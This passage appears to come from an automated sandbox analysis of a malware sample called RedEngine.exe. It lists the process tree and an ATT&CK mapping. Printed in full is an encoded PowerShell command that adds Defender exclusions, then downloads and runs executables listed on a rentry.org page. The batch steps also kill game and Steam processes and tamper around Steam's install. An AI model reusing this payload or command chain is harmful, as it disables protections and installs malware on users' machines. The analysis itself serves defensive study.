        6⤵
        
        PID:3908
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6772
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:4732
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        
        PID:6540
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6580
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:6260
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        
        PID:6204
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:908
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:6060
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        
        PID:4944
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6496
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:7140
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        
        PID:4044
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7144
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:6416
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        
        PID:3544
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6496
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:6864
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        
        PID:7140
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7576
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:7600
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        
        PID:7536
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:4732
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7304
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:7488
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        
        PID:6244
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:7656
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:7544
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4316
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7332
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7940
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7376
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:5220
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7952
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8152
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7664
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7392
- - C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp1.exe
    "C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp1.exe"
    3⤵
    PID:6864
- - C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp2.exe
    "C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp2.exe"
    3⤵
    PID:6944
- - C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp3.exe
    "C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp3.exe"
    3⤵
    PID:7044
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8AAF.tmp\8AB0.tmp\8AB1.bat C:\Users\Admin\AppData\Roaming\kmxnbwsm.rmp3.exe"
      4⤵
      PID:6232
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:6564
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6888

C:\Users\Admin\Downloads\RedEngine\RedEngine.exe
"C:\Users\Admin\Downloads\RedEngine\RedEngine.exe"
1⤵
PID:4192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:4532
- - C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh0.exe
    "C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh0.exe"
    3⤵
    PID:6164
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9202.tmp\9203.tmp\9204.bat C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh0.exe"
      4⤵
      PID:5444
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:5692
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5252
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5912
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5544
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:6912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:7068
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:5932
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:5544
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:3576
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6176
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:6680
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        
        PID:6528
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6368
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:6848
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        
        PID:5620
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6836
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:5728
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        
        PID:6664
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6560
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:6200
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        
        PID:5816
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6468
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:6884
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        
        PID:7976
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5388
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:7224
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        
        PID:4660
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7652
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:7980
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        
        PID:7364
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:6864
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7832
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:7288
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        
        PID:5244
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:7876
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:7828
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7912
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:4656
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:8020
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:6756
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7144
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:1032
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:964
- - C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh1.exe
    "C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh1.exe"
    3⤵
    PID:5716
- - C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh2.exe
    "C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh2.exe"
    3⤵
    PID:832
- - C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh3.exe
    "C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh3.exe"
    3⤵
    PID:1616
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\92BD.tmp\92BE.tmp\92BF.bat C:\Users\Admin\AppData\Roaming\gy5mlgfi.vhh3.exe"
      4⤵
      PID:5580
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:880
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:6696
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5656

C:\Users\Admin\Downloads\RedEngine\RedEngine.exe
"C:\Users\Admin\Downloads\RedEngine\RedEngine.exe"
1⤵
PID:5988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3552
- - C:\Users\Admin\AppData\Roaming\3zsntao5.1hl0.exe
    "C:\Users\Admin\AppData\Roaming\3zsntao5.1hl0.exe"
    3⤵
    PID:2192
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9732.tmp\9733.tmp\9734.bat C:\Users\Admin\AppData\Roaming\3zsntao5.1hl0.exe"
      4⤵
      PID:6672
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:5620
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:6416
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:6796
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5612
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:6564
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        
        PID:6628
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:5128
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        
        PID:6916
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:6220
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6408
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:5596
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        
        PID:6220
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5344
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:5912
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        
        PID:6920
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5848
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:1996
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        
        PID:6724
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:2752
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:5548
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        
        PID:5892
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6452
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:6656
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        
        PID:4360
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:1744
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:5808
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        
        PID:1684
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:6472
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:5308
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        
        PID:7548
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:7344
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:7696
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:8064
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        
        PID:7992
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:7368
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:7496
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7180
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7864
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:7608
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:6376
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:4984
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        
        PID:7368
      - C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        6⤵
        
        PID:6624
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7644
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:7228
- - C:\Users\Admin\AppData\Roaming\3zsntao5.1hl1.exe
    "C:\Users\Admin\AppData\Roaming\3zsntao5.1hl1.exe"
    3⤵
    PID:5680
- - C:\Users\Admin\AppData\Roaming\3zsntao5.1hl2.exe
    "C:\Users\Admin\AppData\Roaming\3zsntao5.1hl2.exe"
    3⤵
    PID:5920
- - C:\Users\Admin\AppData\Roaming\3zsntao5.1hl3.exe
    "C:\Users\Admin\AppData\Roaming\3zsntao5.1hl3.exe"
    3⤵
    PID:6296
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\98F7.tmp\98F8.tmp\98F9.bat C:\Users\Admin\AppData\Roaming\3zsntao5.1hl3.exe"
      4⤵
      PID:2308
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5500
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:5244
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4496

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5408

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
PID:7220

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:6020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery